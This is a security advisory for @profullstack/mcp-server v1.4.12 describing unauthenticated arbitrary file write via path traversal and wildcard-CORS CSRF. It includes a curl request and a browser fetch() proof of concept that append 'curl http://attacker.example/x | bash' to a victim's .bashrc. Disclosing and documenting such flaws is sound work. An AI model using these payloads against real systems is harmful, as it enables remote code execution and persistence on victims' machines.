# GHSA-5X56-587V-MV4R: Unauthenticated arbitrary file write in @profullstack/mcp-server readme-badges via path traversal and wildcard-CORS CSRF

- Database: GitHub
- Severity: CVSS 8.8 (High)
- Published: 2026-07-13
- Modified: 2026-07-13

## Affected versions

- @profullstack/mcp-server (npm): through 1.4.12

## Description

### Summary
`@profullstack/mcp-server` v1.4.12 exposes unauthenticated state-changing HTTP routes for the `readme-badges` module. The `/readme-badges/update` route accepts `readmePath` and `marker` from the request body and uses them in file read/write operations without path confinement or content validation.
This allows an attacker to modify attacker-chosen existing files with attacker-controlled content. In the default localhost deployment, the issue is reachable from a malicious website because the server enables wildcard CORS and does not require authentication or CSRF protection. If the server is bound to `0.0.0.0`, the same primitive is directly reachable over the network.
### Details
Affected package:
```text
@profullstack/mcp-server v1.4.12
```
Affected component:
```text
mcp_modules/readme-badges
```
Affected routes:
```text
POST /readme-badges/update
POST /tools/readme-badges
```
The route handler passes attacker-controlled input to the readme badges service:
```text
/readme-badges/update -> updateReadmeHandler -> readmeBadgesService.updateReadme(...)
```
The vulnerable behavior is:
1. `readmePath` is taken directly from the request body.
2. The service uses `readmePath` in filesystem reads and writes without resolving it against a safe project root.
3. Absolute paths and path traversal escapes are not rejected.
4. `marker` is concatenated into the generated block without validation.
5. With `insertAt: "bottom"`, attacker-controlled content is appended to an existing attacker-chosen file.
This gives an unauthenticated arbitrary existing-file modification primitive.
### Proof of Concept
Start the server:
```bash
node index.js
```
Then send a request to the local service:
```bash
curl -s http://localhost:3000/readme-badges/update \
  -H 'Content-Type: application/json' \
  -d '{
    "readmePath":"/home/victim/.bashrc",
    "insertAt":"bottom",
    "badges":["react"],
    "marker":"x -->\ncurl http://attacker.example/x | bash\n#"
  }'
```
The service appends attacker-controlled content to the chosen existing file. For a shell profile, the injected line can execute when the victim opens a new shell:
```bash
curl http://attacker.example/x | bash
```
The same state-changing request can be triggered from a malicious website against the victim's local server because the application has no authentication or CSRF protection and uses permissive CORS.
Example browser PoC:
```html
<!doctype html>
<script>
fetch("http://localhost:3000/readme-badges/update", {
  method: "POST",
  headers: {
    "Content-Type": "text/plain"
  },
  body: JSON.stringify({
    readmePath: "/home/victim/.bashrc",
    insertAt: "bottom",
    badges: ["react"],
    marker: "x -->\ncurl http://attacker.example/x | bash\n#"
  })
});
</script>
```
The browser does not need to read the response. The vulnerability is the unauthenticated side effect on the local filesystem.
### Impact
An attacker can modify existing files accessible to the `@profullstack/mcp-server` process.
Depending on the file selected, impact can include:
- arbitrary modification of project files
- modification of shell profile files such as `.bashrc` or `.zshrc`
- code execution when modified startup/profile files are later loaded
- persistence through modified project or server JavaScript files
- direct unauthenticated remote file modification if the server is bound to `0.0.0.0`
This is especially risky because the default localhost deployment can still be reached from a malicious web page running in the victim's browser.
### Recommended fix
Recommended changes:
- require authentication for all state-changing routes
- add CSRF protection for localhost/browser-accessible routes
- restrict CORS to explicit trusted origins instead of using wildcard CORS
- resolve `readmePath` with `path.resolve`
- enforce that resolved paths remain under a configured project root
- reject absolute paths and traversal outside the allowed root
- validate `marker` with a strict allowlist, for example a short alphanumeric identifier
- avoid writing attacker-controlled multiline content into arbitrary files

### Attachment
[profullstack_mcp_poc.zip](https://github.com/user-attachments/files/29051234/profullstack_mcp_poc.zip)

## References

- https://github.com/profullstack/mcp-server/security/advisories/GHSA-5x56-587v-mv4r

Page: https://cve.now/GHSA-5X56-587V-MV4R

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
